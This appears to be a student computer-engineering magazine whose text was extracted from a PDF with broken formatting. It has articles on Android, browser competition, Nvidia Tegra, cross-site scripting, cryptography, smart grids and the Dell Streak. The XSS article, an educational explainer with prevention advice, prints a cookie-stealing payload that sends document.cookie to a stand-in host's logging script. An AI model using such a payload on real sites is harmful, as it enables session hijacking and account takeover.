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    In the Smartphone world once dominated by Microsofts Windows

    Mobile, Apples IOS & Googles Android have emerged as the domi-

    nant players today with Wall Street Journal Reports pegging theirOS share to be 27% and 29% respectively. While IOS is a proprie-

    tary software based on Darwin(Hybrid) Unix type Kernel Android

    is an Open Source OS based on Linux (Monolithic) Kernel. An-

    droid's kernel was derived from Linux but has been tweaked by

    Google outside the main Linux kernel tree.

    Android was officially unveiled on 5 November 2007 with the in-

    troduction of the industry's first "Google-phone," the T-Mobile G1. The G1 was built by HTC, and at the time, it was

    fairly cutting edge and since then Google Releases updates and new features in successive versions. All versions

    are named after desserts. The present Stable version of Android is 2.2 aka Froyo with 3.0(Gingerbread) around

    About the OS

    Android Runtime

    Android has been programmed in C(core),C++(3rd party libraries) & Java(UI).It supports the Intel x86,ARM,MIPS &

    Power Architecture platforms.Android includes a set of core libraries that provides most of the functionality avail-able in the core libraries of the Java programming language.

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    The Android operating system software stack consists

    of Java applications running on a Java based object

    oriented application framework on top of Java core

    libraries running on a Dalvik virtual machine featuring

    JIT compilation. Dalvik is a specialized virtual machine

    designed specifically for Android and optimized for bat-

    tery-powered mobile devices with limited memory and

    CPUThe present Android operating system consists of

    12 million lines of code including 3 million lines of XML,

    2.8 million lines of C, 2.1 million lines of Java, and 1.75

    million lines of C++.The source code of Android Oss areavailable to OEMs and they are allowed to further

    tweak the OS.

    Linux Kernel

    Android relies on Linux version 2.6 for core system

    services such as security, memory management, proc-

    ess management, network stack, and driver model. The

    kernel also acts as an abstraction layer between the

    hardware and the rest of the software stack.The pre-

    sent build of Android is based on Linux Kernel 2.6.32

    Android Libraries

    Android includes a set of C/C++ libraries used by vari-

    ous components of the Android system. These capabili-

    ties are exposed to developers through the Android

    application framework. Some of the core libraries are

    listed below:

    System C library - a BSD-derived implementation

    of the standard C system library (libc), tuned for em-bedded Linux-based devices

    Media Libraries - based on PacketVideo'sOpen-CORE; the libraries support playback and recording ofmany popular audio and video formats, as well as staticimage files, including MPEG4, H.264, MP3, AAC, AMR,JPG, and PNG

    Surface Manager - manages access to the displaysubsystem and seamlessly composites 2D and 3D

    graphic layers from multiple applications.

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    LibWebCore - a modern web browser enginewhich powers both the Android browser and an embed-dable web view

    SGL - the underlying 2D graphics engine 3D libraries - an implementation based on OpenGLES 1.0 APIs; the libraries use either hardware 3D accel-eration (where available) or the included, highly opti-mized 3D software rasterizer

    FreeType - bitmap and vector font rendering

    SQLite - a powerful and lightweight relational data-base engine available to all applications

    The android platform is adaptable to larger, VGA, 2D

    graphics library, 3D graphics library based on OpenGLES 2.0 specifications, and traditional smartphone lay-outs . Android employs SQLite, a lightweight relationaldatabase for data storage purposes. One of the majorAdvantage of Android over IPhone is that Android sup-ports connectivity through various technologies includ-ing GSM/EDGE, IDEN, CDMA, EV-DO, UMTS, Bluetooth, Wi-Fi, and WiMAX which makes it available to all Carriers.Android OS though made to suit only Smartphones , is

    currently powering Tablets like Dell Streak.

    Features

    Home Screens

    Android supports multiple

    home screens, with each

    one fully customizable. Wid-

    gets are present to acces-

    sorise the screen and many

    more can be downloaded

    and added.The bottom panel

    of Android has three soft

    buttons a simple multi-

    screen button to bring up

    your entire grid of installedapplications, a Phone shortcut anda Browser icon.

    Browser

    The web browser available in Android is based on the

    open-source WebKitlayout engine. WithFroyo the browser iscoupled withChrome's V8JavaScript enginewhich increases itsperformance 2x to3x. It comes with

    support for Flashwhich is missing inIOS(considering 85%sites use Flash).Thebrowser scores a93/100 on the Acid3Test.

    Tethering Support

    Android supports tethering, which allows a phone to be

    used as a wireless/wired hotspot (All 2.2 Froyo phones,

    unofficial on phones running 1.6 or higher via applica-

    tions available in the Android Market, e.g. PdaNet). It is

    a huge advantage for people

    on the move, however it

    drains a lot of bat-

    tery.Tethering only works

    over USB, not via Blue-

    toothand currently is sup-

    ported by Windows

    7,Windows Vista &

    Linux.Android creates an

    open hotspot and doesn't

    tell you which devices areconnected to the hotspot, but for both tethering and

    hotspot.

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    Multi-touch&Multitasking

    Android has native support for multi-touch and sup-

    ports multitasking for all applications(3rd

    partyalso).This is a huge boon as one can stream a video in

    background through a 3rd party app while editing notes

    in front.

    Voice Controls

    Android has Google search through Voice available as

    Search Input since initial release. Search has improved

    a lot but still if oneasks for photos in a search, Googlewill give web results with pictures in, but not image

    results for the search. Since Froyo Android also sup-

    ports voice based commands.It also supports Voice to

    text features and probably the best one available in

    smartphone OSs

    Videocalling

    The mainstream Android version doesn't support video-calling however since it is open source and the OS can

    be tweaked by OEM, some handsets could have a cus-

    tomized version of the operating system which sup-

    ports it (like the Samsung i9000 Galaxy S).

    Media support

    Android supports the following audio/video/still media

    formats: H.263, H.264 (in 3GP or MP4 container), MPEG-4 SP, AMR, AMR-WB (in 3GP container), AAC, HE-AAC

    (in MP4 or 3GP container), MP3, MIDI, OggVorbis, WAV,

    JPEG, PNG, GIF, BMP. Support for additional codecs and

    containers can be added by installing apps like VLC

    Messaging

    SMS,MMS& Email are available forms of messag-

    ing .Earlier builds of Android lagged to RIMs Blackberry

    OS due to the absence of Push Mail but with newer

    builds threaded text

    messaging was in-

    cluded and now An-droid Cloud to Device

    Messaging Framework

    (C2DM) is also a part

    of Android Push Mes-

    saging service. Email

    is supported through

    Gmail & Microsoft Ex-

    change with supportfor calendar and con-

    tact sync and some

    security options like using a numeric PIN or an alpha-

    numeric password to unlock your phone rather than a

    gesture which makes it a buy for businesses.

    Java Support

    Android OSs UI has been programmed in Java. Androidapplications are also written in Java, there's no Java

    Virtual Machine in the platform and Java byte code is

    not executed. Java classes get recompiled into Dalvik

    executable and run on Dalvik virtual machine.. J2ME

    support can be provided via third-part-application such

    as the J2ME MIDP Runner. The OS provides full java

    support on Web as well.Android is really faster in frame

    rates and puts IPhone4 to shame. Frame Rates 0f 60

    fps can be achieved in certain games.

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    Streaming media support

    Android supports RTP/RTSP streaming (3GPP PSS,

    ISMA), HTML progressive download (HTML5). Adobe

    Flash Streaming (RTMP) is supported through Adobe

    Flash Player plugin. Apple HTTP Live Streaming is sup-

    ported through third party media player

    (NextreamingNexPlayer). Microsoft Smooth Streaming

    is planned to be supported through the awaited port of

    Silverlight plugin to Android. Adobe Flash HTTP Dy-

    namic Streaming is planned to be supported through

    an upgrade of the Flash plugin.

    Additional hardware support

    Android can use video/still cameras, touchscreens,GPS, accelerometers, gyroscopes, magnetometers,

    proximity and pressure sensors, thermometers, ac-

    celerated 2D bit blits (with hardware orientation, scal-

    ing, pixel format conversion) and accelerated 3D

    graphics.

    Bluetooth

    It Supports A2DP and AVRCP Bluetooth profiles.TheOS has supports sending files (OPP) , accessing the

    phone book (PBAP),

    voice dialling and

    sending contacts be-tween phones over

    Bluetooth

    Flash Support

    Android supports

    Flash with the latest

    supported version

    being 10.1.Froyo sup-ports Flash in Web

    Browser also which

    means that you can

    finally surf to Flash-

    enabled Websites

    without any errors

    popping up. Movies from Sites like Yahoo Movies can

    be streamed easily and even there is support for HDversions.Casual Flash games like those on the Kongre-

    gate site are very playable.For many games the touch-

    screen makes a good controller - better than pressing

    keys on a keyboard

    Android MarketAndroid Market is a catalogue of applications that can

    be downloaded and installed to target hardware over-the-air, without the use of a PC. The Android Market

    has over 100,000 Android applications for download.

    There are other markets, such as SlideME and Getjar,

    but Google's Android Market is the only one whose

    downloader is installed on every Google Android

    phone.Many famous IPhone apps have also been ported

    to the Android Market. Downloaded Apps can be in-

    stalled either in phone Memory or SD Card.

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    Camera

    Android has a well designedcamera app.Camera appallows geo-tagging, colourising the video,portrait ori-entation, zoom controls, access to exposure data, athumbnail utility,setting the white balance or choosingthe video quality (there are settings for MMS and You-Tube as well as standard high and low quality). From

    Froyo the new preview API doubles the frame ratefrom ~10FPS to ~20FPS.

    Galleries have a pinch-to-peek gesture, so that you can

    see what photos are inside of a gallery before you

    open it.

    Social Networking

    Android has built in offi-

    cial apps for social net-

    working for Facebook,

    gtalk and Twitter.The

    setup of accounts in

    these apps isautomagi-

    cal. Many more apps

    can be downloaded

    from the android mar-

    ket.

    Shortcomings

    Android's still not all the way there. There are still too many buried features, hidden by menu button, and generalcomplexities, like a separate email app for non-Gmail accounts, remain. Selecting text, while now possible in theGmail app, is confusing. And the white-on-black interface for the dialler and contacts seems even more out ofplace now that messages and Gtalk use a lighter UI.Music streaming situation is pretty bad due to absence of aMusic sore like Zune or itunes.The interface can be more sleeker and more graceful. It's so strange, in a way, that Android has the most im-

    pressive voice controls and speech-to-text of any phone out there, but basic things like copy-and-paste can feelas slippery as brain surgery on a snail. The problem extends to the Android Market. Sure, one day we might bepushing apps to the phone from our desktop, but app discoverability, particularly on the phone itself, is a long

    way from optimal.the touch keyboard still feels like you're typing with two fingers glued together.

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    If web browsers were girls, I would be really happy. So many to choose from and all of them trying to get

    hold of me! Well, a few years back Internet Explorer had become the synonym of web browsing. But thatwas a few years back. Times have changed. Browser war 1.0 saw Microsofts IE emerging as a clear winner.Netscape navigator was literally vanished. But IEs domination over the browser market in no more. First

    the growth of Firefox and then the entrance of search giant Google into the world of browsers has done

    some serious damage to the popularity of IE. In fact, a time came when techies just seemed to hate IE. Inthe meantime Chrome gained a significant market share and Firefox continued to make more fans. But Mi-

    crosoft made its move with the launch of IE 9, which was soon followed by the launch of Firefox 4. Plus Ap-ples Safari and Opera browser are also there to make the web a better place. In short, there was never a

    better time for Web Browsing. The battle is still wide open. Welcome to browser wars 2.0

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    Here are the usage statistics of different browsers for 2011 : (Source: w3schools.com)

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    The Major Players:

    INTERNET EXPLORER:

    User Interface:Following the footsteps of chrome IE9 wears a minimalist look. All the ugly toolbars are gone.Unlocking the beauty of Web-Thats how MS describes its new browser. It also has some new features likepinned sites and changing colors of back and forward buttons to match the web-pages.

    Minimalist look of Internet Explorer 9

    Performance: The Performance of IE 9, for sure, is better than the earlier versions but looks like it needs a longway to go before it matches Firefox and chrome.IE 9 has HTML 5 video support, the new Chakra JavaScript en-gine, CSS 3 support and GPU acceleration that definitely improves its performance. Even with all this the speedtests show that MS needs to do some more work to match the standards set by Firefox or Chrome.

    GOOGLE CHROME:

    User Interface: Chrome has had a minimalist UI right from the very start and this was one of the main featuresthat made it stand out of the croud when it came into existence. By default, the main user interface includes back,forward, refresh, bookmark, go, and cancel buttons. The home button can be configured through options to takethe user to the New Tab Page or a custom home page. Tabs are the primary component of Chrome's user inter-face and as such, have been moved to the top of the window rather than below the controls. Starting with Chrome3.0 users can apply themes to change the look of their browser.

    Performance: The JavaScript virtual machine used by Chrome, the V8 JavaScript engine, has features such asdynamic code generation, hidden class transitions, andprecise garbage collection. Google Chrome 9, whichlaunched a few months back, is sporting 3D hardware acceleration, google instant search and a web-apps store.

    MOZILLA FIREFOX:

    User Interface: : Firefox 4 has a simple and clean Opera like UI. Personas the single click themes in Firefoxdistinguishes it from others. Like others, tabbed browsing has been an essential feature of Firefox but the newestversion has a new feature of App-Tabs, which are essentially the tabs which never close. Plus Firefox 4 has bettersupport for Typography.

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    Performance:: Firefox 4 has significant performance improvements over Firefox 3.6. Support for

    CSS 3 transitions and HTML 5, new and enhance JgerMonkey JavaScript engine, improved WebGLsupport and hardware acceleration.

    Firefox has a lot of awards in its name. It featured in PC worlds list of best 100 products for three

    consecutive years.score.

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    COMPARISONS:

    *WebGL is a standard that is based on OpenGL ES that lets you perform 3D rendering on the web.* Hardware acceleration is offloading tasks that are typically handled by the software to the hardware wherever possible. In our scenario, we reduce the workload on our general purposes CPUsmuch more parallel, and capable, GPUs handle specific computations, thus eking out better performance.

    Sunspider v0.9.1 Benchmark (lower is better) Memory Usage: 40 tabs (lower is better)

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    Theres also a new player in the battlefield and the best thing about it is its INDIAN:

    THE EPIC BROWSER :

    On July 15, a Bangalore based company, Hidden Reflexlaunched Indias first browser. It is based on open sourceMozilla platform. The UI of Epic is also quite fresh. The Browser has features specifically targeted at Indian users.Some of its main features are:

    Integrated virus protection powered by ESET. i.e. Free antivirus scanning and healing is built into EpicSupport for 12 Indian languages including Hindi, Bangla, Punjabi, Marathi (otherwise Shiv Sena would have had

    problems browsing the web!) to name a few. It also supports transliteration for Arabic, Farsi/Pesian,Russian, and Greek.

    Epic has several preinstalled widgets such as social networking (Facebook, Orkut), chat clients (yahoo mes-senger) and email facilities integrated into the browser.

    Epic is currently available for Windows, though Linux and Mac versions are expected soon.A large number of themes. Most of them having Indian flavor.The first of its kind: widgets sidebar.

    Lets hope the epic browser makes an epic entry into this browser wars.

    Popularity of Different Browsers:The

    graph below clearly indicates the growthof Firefox and Chrome.An year or so backFirefox seemed to be the favoritebut withthe arrival of Google Chrome things beganto change and just when we thought thegame was over for IE, it seems to havegained a bit of ground with IE 9 but to stayin the competition Microsoft will have tocontinue to innovate likeMozilla. How

    newer versions of Firefox and Chromeperform is also something to be seen.Whoever wins this war, there was never abetter time for browsing the web.

    JATIN SHRIDHAR

    1st

    Year, COE

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    Nvidia TegraBreakthrough

    into the new realmWhen someone told methat technology evolves

    faster than you can say it, I didnt believe him. Well,

    not till I experienced it. Heres how. Eight years back,

    I played Snake on a black-and-white Nokia handset

    and went WOW. A few weeks back, I saw a video of

    NFS Undercover being played on an Acer smart-

    phone. This time, the reaction was W T F. Woah man;this thing was giving competition to the graphics that

    I got on my PC! And thus, I said hullo to NVIDIA Tegra.

    Hearing it first time, most people would say,

    Wazzat? NVIDIA to GeForce nahi hota?? Reason

    being, we all are faintly familiar with NVIDIAs Ge-

    Force series of graphic cards, which let us play our

    beloved games on our desktops and lappies. But now,

    it seems, NVIDIA is hopping onto the mobile band-

    wagon as well, with the new Tegra technology. This is

    a revolutionary concept, which basically enables any

    mobile computing device to incorporate enormous

    potential in terms of media capabilities. Tegra is a

    system-on-a-chip series, which integrates the CPU,

    GPU, Northbridge, Southbridge, and the Memory Con-

    troller in a single small chip, resulting in low power

    consumption and extreme performance. This setup iscalled the ARM Architecture. And trust me, the ARM

    is pretty muscular, too!

    The Tegra series has two components: the Tegra

    APX 2500 series, for smartphones, and the Tegra

    600/650 series, for mobile internet devices, i.e.,

    tablets, and GPS systems. Also, a new series, the

    Tegra 250, with enhanced features, specially to ca-ter to upcoming tablets, is being developed.

    First up, we take a look at the Tegra ATX series. This

    one lends some serious weightage to the apparently

    so-light smartphones, but only in the metaphorical

    sense. Here also, as weve been seeing in the PC

    over the years, NVIDIA hardware steps up to the next

    level..

    The processor is a normal ARM11 6ooMHzchip, with NAND flash RAM. The juice, however, is

    the graphics solution. This marvel provides full-

    fledged support for Direct3D, OpenGL 2.0, and

    shader programming. Whats more, it supports

    upto 12-MP camera, with 720pHD recording, and a

    baffling screen resolution of 1280X1024. Clear mes-

    sage to the rivals: BEAT THAT!

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    The smartphones that run on Tegra are some heavy

    customers, to say the least. Microsoft Kin and Micro-

    soft Kin 2, the Microsoft ZuneHD, and various specialedition smartphones from Acer and Asus, like the

    Asus Lamborghini

    special edition.

    Well, onto the

    600/650 series.

    This is basically

    the same hard-

    ware, with an up-

    graded ARM 11

    processor(800

    MHz), same RAM,

    marginally higher

    resolution, and

    support for WiFi.

    Sounds the same,

    but well, the performance is awesome. This is used

    in many GPS systems, and older netbooks and tab-

    lets.

    In January 2010,

    NVIDIA announced

    the new Tegra 250

    series, which would

    lead the tablet revo-lution in 2010. This

    gives the consumer a

    full desktop-like

    browsing experience,

    in a tablet. Courtesy

    the enhanced 1080p

    video support, 3D touch interface, and immersive

    gaming performance. All this, and can the hardware

    be far behind? Naah.

    Hold your breath, all you hardware junkies reading

    this. Eightindependent processors are present to

    handle simple processing, HD video encoding and

    decoding, web browsing, and

    3D gaming. Plus, the first

    dual core CPU in mobile

    technology. And, add to this,

    multiple days of battery

    lifewhat you get is a jaw

    dropping mobile entertain-

    ment package in your hands.

    NVIDIA has demonstrated

    Unreal Engine 3 on the Te-

    gra, and it works flawlessly,

    just like 1080p video

    streaming, or graphic-

    intensive web browsing.Hell, NVIDIA also worked with Opera, to develop Op-

    era 9.5, optimized for the Tegra, for Windows Mobile

    platform. Sweet. And ofcourse, Tegra is now com-

    patible with Android as

    well.

    We can expect this tech-

    nology to be seen in action,

    when Notion Ink come out

    with theirTegra 2 Tablet,

    which is assumed to be the

    prime contender for

    knocking the iPad off its

    perch, atop the tablet mar-

    ket. Rumour is that HTC, Toshiba, and MSI are also in

    the fray, to develop their own Android based devices.

    Well, time will tell.Saraj Munjal

    Coe 1st year

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    CROSS- SITE SCRIPTING (XSS)

    INTRODUCTION TO XSS :

    There are basically two types of websites Dynamic websites, which are more enjoyable to the user with thehelp of web applications. And another are static websites which is basic and is also cheaper to host and de-velop.These dynamic websites suffer threat of cross-site scripting(XSS).

    The cross-site scripting attack is one of the most common security problems facing web developers today.The

    goal of the XSS attack is to steal the client cookies, or any other sensitive information, which can identify theclient with the web site.Unlike most attacks, which involve two parties the attacker and the web site or the at-tacker and the victim client, the XSS attack involves three parties

    the attacker, a client and the web site.

    WHAT IS XSS ?

    Let us start with normal authentication process without any xss code injected first. For e.g. Let us consider we

    are making a gmail account. The password that has been created by the user is sent to the server. The serverthen sends back the cookie.So the next time he logs in, he is not identified by his password but by the cookie setby the server :

    Now , let us try tounderstand the role

    of the hacker. The

    hacker injects an

    evil script suchthat the the cookie isnot sent to the

    server but to thescript which looks

    like server to the cli-

    ent. This is known asCookie Stealing.However cookie stealing is one of the many implications of XSS attack.

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    Now , let us try to understand the role of the hacker. The hacker injects an evil script such that the thecookie is not sent to the server but to the script which looks like server to the client. This is known as

    Cookie Stealing.However cookie stealing is one of the many implications of XSS attack.

    The most common web components that fall victim to XSS vulnerabilities are CGI scripts,search en-gines,interactive bulletin boards etc. Following is the example of a embedded java script(highlighted por-

    tion) injected in the url which will be executed on the user's browser!!.

    This will generate a popup showing the current set of cookies.

    TYPES OF XSS :

    There are basically two types of XSS.

    1)Non- persistant (Reflected) Vulnerability :

    These type of injections are temporarily stored in the url.It is the most common type of vulnerability.These

    holes are generated when data provided by a web client is used immediately by server -side scripts to gen-erate resultant page.

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    The command above will redirect the page to another webpage which will be contaning script.php(that isour logging page) !! Now let us look upon the contents of this script page...

    Once a cookie is stored, you can use softwares like Firefox Cookie Editor etc and can behave as an admin-

    istrator !!

    2)Persistant (Stored) Vulnerability :In these type, attacker saves the data ,which will be provided to the web application, in the server itselfand later displayed to users without being encoded using HTML.Thus it allows powerful kind of attacks.

    PREVENTION (ESCAPING AND FILTERING) :

    There are few ways to prevent yourself from these attacks. Escaping is a technique used to ensure that

    characters are treated as data. Some of these techniques require special escape character and someinvolves several characters.

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    Escaping simply lets the interpreter know that the data is not intended to be executed and thus preventsfrom attacks.Most web applications that do not need to accept rich data can use escaping to largely elimi-

    nate the risk of XSS. Some of the counter measure which can be done by the web browsers is :

    index.php?cat=

    document.location=http://example.be/script.php?

    id=+document.cookie;

    It removes the first script tag and a new script tag wil be revealed.

    Checking of site can be done manually or via automated web application tool. In both the methods, input tothe variations is checked with as many variations possible. For e.g. It will check for the script alreadymentioned

    alert(document.cookie)

    This is only the simplest kind of script. Javascript could be inserted in various fields For e.g.,he can hide itinside an image

    As Cross Site Scripting is one of the most common application level attacks that hackers use to sneakinto web applications today, thus it is necessary that an organization implement both an online and offlinesecurity strategy. This includes using an automated application vulnerability assessment tool.

    - Sajal Chaudhary

    (COE ,2nd YEAR)

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    Suppose you are working on a top secret government project and want to send the details of an important dis-

    covery to your boss. So, you attach the plain text to an email and send it to your boss. The next morning to

    your surprise, you find that the entire nation knows about it as a prying intelligent reporter got hold of the un-

    encrypted plain text details and printed it on the front page of a leading newspaper. This is where cryptogra-

    phy comes in.

    Cryptography is the process of converting recognizable data into an encrypted code for transmitting it over a

    network(either trusted or untrusted). Data is encrypted at the source i.e. senders end and decrypted at thedestination i.e. receivers end.

    TYPES OF CRYPTOGRAPHIC ALGORITHMS

    SecretKey Cryptography (SKC): Uses a singlekey for both encryption and decryption

    PublicKey Cryptography (PKC): Uses one keyfor encryption and another for decryption

    Hash Functions: Uses a mathematical transfor-

    mation to irreversibly "encrypt" information

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    SECRET KEY CRYPTOGRAPHY

    A cipher system that uses the same key to encipher and decipher a message is called a secret key cryptogra-phy. Because a single key is used for both functions, secret key cryptography is also called symmetric encryp-

    tion. In this kind of cipher system the whole process is reversible.

    With this form of cryptography, it is obvious that the key must be known to both the sender and the receiver;

    that, in fact, is the secret. The biggest difficulty with this approach, of course, is the distribution of the key.

    Secret key cryptography schemes are generally categorized as being either stream ciphersor block ciphers.

    Stream ciphersoperate on a single bit (byte or computer word) at a time and implement some form of feed-back mechanism so that the key is constantly changing. A block cipheris so-called because the scheme en-

    crypts one block of data at a time using the same key on each block. In general, the same plaintext block will

    always encrypt to the same cipher text when using the same key in a block cipher whereas the same plaintext

    will encrypt to different cipher text in a stream cipher.

    STRENGTHS:

    Much faster than asymmetric systems

    Hard to break if using a large key size

    WEAKNESS:

    Key distribution: It requires a secure mechanism to deliverkeys properly

    Scalability: Each pair of users needs a unique pair of keys, so

    the number of keys grow exponentially.

    Limited security: It can provide confidentiality, but not authen-

    ticity or non repudiation.

    The following are examples of symmetric key cryptography algorithms: Data Encryption Standard (DES), Triple DES (3DES), Blow-

    fish, IDEA, etc.

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    PUBLIC KEY CRYPTOGRAPHY

    Public-key cryptographyhas been said to be the most significant new development in cryptography in the last

    300-400 years. Modern PKC was first described publicly by Stanford University professor Martin Hellman and

    graduate student Whitfield Diffie in 1976. Their paper described a two-key crypto system in which two parties

    could engage in a secure communication over a non-secure communications channel without having to share a

    secret key. In this cipher system, different keys are used for encrypting and decrypting messages.

    Generic PKC employs two keys that are mathematically related although knowledge of one key does not allow

    someone to easily determine the other key. One key is used to encrypt the plaintext and the other key is used

    to decrypt the cipher text. The important point here is that it does not matter which key is applied first, but

    that both keys are required for the process to work. Because a pair of keys is required, this approach is also

    called asymmetric cryptography.

    The following outlines the strengths and weaknesses of asymmetric key systems:

    STRENGTHS: Better key distribution than symmetric systems

    Better scalability than symmetric systems

    Can provide confidentiality, authentication, and

    non repudiation

    WEAKNESSES:

    Works much slower than symmetric systems

    The following are examples of asymmetric key algorithms: RSA, Elliptic Curve Cryptosystem (ECC), Diffie-

    Hellman, etc.

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    HASH FUNCTIONS

    Hash functions, also called message digestsand one-way encryption, and are algorithms that, in some sense, use

    no key . Instead, a fixed-length hash value is computed based upon the plaintext that makes it impossible for ei-ther the contents or length of the plaintext to be recovered. Hash algorithms are typically used to provide

    a digital fingerprintof a file's contents often used to ensure that the file has not been altered by an intruder or

    virus. Hash functions are also commonly employed by many operating systems to encrypt passwords. Hash func-

    tions, then, provide a measure of the integrity of a file.

    One-Way Hashing Function

    It is never performed in reverse.

    It provides integrity of a message, not confidentiality or authentication.

    The results of a one-way hash is a hashing value.

    It is used in hashing to create a fingerprint for a message.

    WHY THREE ENCRYPTION TECHNIQUES?

    So, why are there so many different types of cryptographic schemes? Why can't we do everything we need with just one?

    The answer is that each scheme is optimized for some specific application(s). Hash functions, for example, are well-suited

    for ensuring data integrity because any change made to the contents of a message will result in the receiver calculating adifferent hash value than the one placed in the transmission by the sender.

    Secret key cryptography, on the other hand, is ideally suited to encrypting messages, thus providing privacy and confi-

    dentiality. The sender can generate a session keyon a per-message basis to encrypt the message; the receiver, of course,

    needs the same session key to decrypt the message. Asymmetric schemes can also be used for non-repudiation and user

    authentication; if the receiver can obtain the session key encrypted with the sender's private key, then only this sender

    could have sent the message. Public-key cryptography could, theoretically, also be used to encrypt messages although

    this is rarely done because secret-key cryptography operates about 1000 times faster than public-key cryptography.

    Sanya Chawla

    (2nd Year Computer Engineering branch)

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    We all are aware of the high rate at which energy is be-ing used in the present world and if this continues thensoon our earth will be exhausted of all its resources andenergies and will no longer be a place worth living be-cause of carbon emission. After reading this first line

    you must be thinking what at all this has to do with com-puters and technology. But technology finds a way totouch every aspect of life and find solutions to all suchproblems. Smart grid is an upcoming technology whichis spreading like fire in all parts of the world. It is basi-cally the power grid being used in a more efficient way.

    A smart grid delivers electricity from suppliers to con-

    sumers using digital technology with two-way communi-cations to control appliances at consumers' homes tosave energy, reduce cost and increase reliability andtransparency. It overlays the electrical grid with an in-formation and net metering system .It is basically a con-vergence of three sectors electric power, telecommuni-cation infrastructure and information technology.

    If we try and analyze then it is quite obvious that theconsumption of the number of units of electricity will begreater in the day time as compared to the night time so

    graphically it is noticeable that these units reach peaksat day time, also this electric energy can not be storedeffectively at reasonable expense. So what we basicallywant is to cut off the peak of the bell curve which can bedone by performing day time tasks at night. For instance

    if we take a washing machine or drier, then it can be setto start automatically at night say 2 o clock rather thanat peak hours.

    One very important part of smart grid is the AdvancedMetering Infrastructure(AMI) which has replaced theobsolete mechanical meters with advanced digital me-ters known as smart meters. In countries like Austra-

    lia, USA and UK these have already come into use. Basi-cally instead of the old Indian system in which some em-ployee would come at the end of each month to take themeter reading, there would be a digital meter whichwould automatically send the readings time to time (sayat an interval of 15min) to a server, through GSM cardexactly the same way our mobiles communicate.

    These meters are intelligent enough to enable time based electric-ity charges.

    There is a difference in the price of the electricity units used in theday time and the night time. The day time electricity is much moreexpensive as compared to that in the night this gives us another

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    reason to use energy efficiently and use as many appli-ances as possible at night.

    A practice started in many countries is the productionof energy at homes bysetting up photovoltaiccells (solar cells) orwind mills or any suchform of renewablesource on roofs; thismeans that energy isitself produced by thecitizens at theirhouses. This energyreading is also takenby the AMIs and thuseither it is subtractedfrom the total bill or used in the same house.

    The AMI not only forms the bridge

    back to the utilitys operations andcontrol center, but also to the net-work inside the home or building,referred to as the home area net-work (HAN), which is responsible forenergy intake by all householdequipments like refrigerators, dish-washers, lighting system and so on.Hence it has become easier to keep

    records of the energy consumedand produced in small areas andeven large buildings, complexes oreven cities.

    The figure above also shows asmart grid system in which thephotovoltaic cells are producingelectricity and the amount of elec-

    tricity produced is recorded by the AMI, this energy isused internally at home or is exported out into the grid.The electricity produced by the photovoltaic cells is

    green energy produced without any kind of pollution. Thisin a nutshell is a basic smart grid i.e. a way in whichvarious smart components can talk to each other.

    Now basically this in-dustry is divided intothree parts genera-tion, distribution andtransmission, and re-tail. Till now thesewere all under one

    category but now arebeing divided. Being anew technology manyplans have been pro-posed in this direction

    of efficiently using energy which are not presently in usebut all of them basically high-light the significance of theretailing department and how

    in the future the control mightgo to the retailers.

    The earliest, and still largest,example of a smart grid is theItalian system installed by EnelS.p.A. of Italy. After Italy thistechnology grew at a fast ratein Austin, USA and Ontario in

    Canada. Presently this technol-ogy has made its way in mostof the parts of US and Australiaand definitely has way to go.Moreover even in India thistechnology is growing fast andis expected to soon be a bigtopic of discussion for the me-dia. AFTERALL A LITTLE EFFI-

    CIENCY GOES A LONG WAY.... and smart grid is not a des-tination but a journey whose effects aredefinitely hoped to be seen in future.

    SHREYA MALIK

    ( COE 2 nd

    Year )

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    Since the first rumours many monthsback, to Michael Dell flashing his prototypein the street and then a few quiet appearancesat trade shows, the Dell Streak has takenits time coming to market. Running Android(clair)on a broad, eye-catching 5-inch display, theres littlelike it on the market and its been an attention-grabber

    ever since.Well the first impression one gets is thatwhether it is a 5-screen smartphone masquerading asa tablet device or if its a small-form-factor tablet pre-tending to be a phone. Well folks at Dell claim it to be avoice capable tablet but still it feels like an oversizedsmartphone..

    The iPhone has an unusual problem. Its UI is fast and

    smooth enough that you want to browse the web on it.However the device is cramped enough that you dontwant use it for any serious web browsing. If youre justlooking to quickly read something its ok but logging into websites, or interacting with a more complex webapp is just a pain on a screen that small - regardless ofhow fast the device is. Apples solution is to turn youtoward apps, or sell you an iPad. HTC and Motorola pro-

    vided an alternative: increase the screen size of their

    smartphones. Dell took it one step further, and forsome reason called it the Streak.Indeed, its real ace inthe hole is where the lines are blurred into smartphoneterritory.

    Specifications Carrier: Tata DoCoMo OS: Android 1.6(soon an update to 2.2) Processor: 1 GHz Qualcomm Snapdragon (QSD

    8250) RAM: 512 MB Storage: 2 GB built-in, plus 16 GB micro-SD

    (expandable to 32 GB) Display: 5-inch WVGA, 800480 pixels, Gorilla

    Glass Battery: Lithium Ion 1530 mAh Ports: 30-pin to USB Weight: 7.7 oz. Dimensions:6.0(h) x 3.1(w) x 0.4(d) inches Camera: 5.0 megapixel (rear) with autofocus;

    VGA front-facing Sensors: Accelerometer, GPS, e-compass Keyboard: 49-key virtual keyboard (including

    number pad) Networks: UMTS 850/1900/2100 MHz; GSM/EDGE

    850/900/1800/1900 MHz; Wireless: Wi-Fi 802.11 b/g; Bluetooth 2.1 EDR Tethering: Not available

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    Design

    At 6 inches wide, 3.2 inches tall, and 0.35 inch thick,the Streak is about the size as a pocket Moleskin note-

    book. It breaks the norm for smartphone dimensions,

    yet it's nearly a third the size of Apple's iPad tablet. it

    slides quite nicely into a jeans pocket, so size wouldnt

    be a problem unless you are adamant on putting it in

    yourhippie-tight pants.It has plenty of gas in the tank,

    housing a Qualcomm Snapdragon 1GHz processor and

    512 MB of RAM.

    In terms of design,

    it does favour the

    typical tablet lay-

    out with a land-

    scape-based home

    screen interface

    rather than the

    upright layout seen

    on most full-touch

    screen smartphones. It feels very natural adopting a

    two-handed approach in landscape mode, letting the

    device rest between both palms. In terms of external

    controls, the front features a touch-sensitive panel

    featuring Back, Menu and Home buttons, each of whichgreet you with a pleasant haptic vibration upon contact.

    The 5-inch capacitive touch screen is covered in a

    seemingly indestructible Gorilla Glass, though the ta-

    pered edges to the left and right of it use a more con-

    ventional scratch-resistant plastic. These same edges

    also conceal three soft keys (back, menu and home), an

    earpiece, microphone, and a front-facing VGA-

    resolution camera.

    On the flip side of

    the Streak you'll

    find a 5-

    megapixel auto-

    focus camera

    with an inte-

    grated LED flash.

    The camera is awkwardly placed, so your left hand

    tends to obscure the lens when holding the Streak in its

    prescribed landscape orientation. The back of theStreak also includes a small speaker grille at the edge

    of a large battery cover. Along with a removable, re-

    chargeable battery, the Streak battery compartment

    also offers access to a SIM card slot and the included

